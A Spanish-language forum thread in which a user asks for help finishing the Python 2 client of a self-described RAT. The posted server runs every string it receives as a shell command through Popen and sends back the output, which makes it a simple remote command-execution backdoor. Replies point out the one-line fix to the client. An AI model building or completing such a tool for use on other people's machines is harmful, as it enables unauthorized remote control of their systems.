[SOLUCIONADO] Problemas con codigo python

Iniciado por DarkXploitz, Enero 17, 2019, 06:43:29 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Enero 17, 2019, 06:43:29 AM Ultima modificación: Enero 19, 2019, 09:06:25 AM por HATI
buenas tengo ya algun tiempo fuera de la rama por problemas personales pero ya regrese, regrese quemado en cuanto a programacion muchas lagunas muchas, necesito su ayuda con el siguiente codigo para un rat, necesito saber como hacer para que lo que yo escriba en el raw_inpun se ingrese en el client.send() y al darle enter se envie el comando, osea necesito saber como enviar los comandos escritos en raw_input sencillo pero como dije estoy quemado horita les agradeceria su ayuda

cliente
Código: python

import socket

servidor = "127.0.0.1"
puerto = 39421

cliente = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

cliente.connect((servidor, puerto))

comando = raw_input("ingrese comando:> ")

cliente.send("");

respuesta = cliente.recv(4096)

print respuesta


server

Código: python


import socket
import threading
from subprocess import Popen
from subprocess import PIPE

def administrar_clientes(socket_cliente):
    peticion = socket_cliente.recv(1024)
    print "[*] Mensaje recibido: %s" % peticion
    respuesta = Popen(peticion, shell=True, stdout=PIPE).stdout.read()
    # confirmar al cliente, que el mensaje fue recibido
    socket_cliente.send(respuesta)
    socket_cliente.close()

ip = "0.0.0.0"
puerto = 39421
max_conexiones = 5
servidor = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

servidor.bind((ip, puerto))
servidor.listen(max_conexiones)

print "[*] Esperando conexiones en %s:%d" % (ip, puerto)

while True:
    cliente, direccion = servidor.accept()
    print "[*] Conexion establecida con %s:%d" % (direccion[0], direccion[1])
    administrador_de_clientes = threading.Thread(target=administrar_clientes, args=(cliente,))
    administrador_de_clientes.start()
No Te Pido Que Pienses Como Yo, Solo Te Pido Que Pienses

Hola @No tienes permitido ver enlaces. Registrate o Entra a tu cuenta creo que modificando la linea 12 de tu cliente deberia quedar listo, algo asi:

Código: python
cliente.send(comando);


Ya que en la variable 'comando' estas almacenando tu raw_input

Saludos!
K A I L

Lo recomendable es que te leas todo el artículo de donde sacaste el código. Ya que allí el autor deja explicado como funciona el código.

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Como te decía KAIL, solo tienes que pasarle la variable "comando" a send() para que puedas enviarlo y luego lo reciba el servidor. Saludos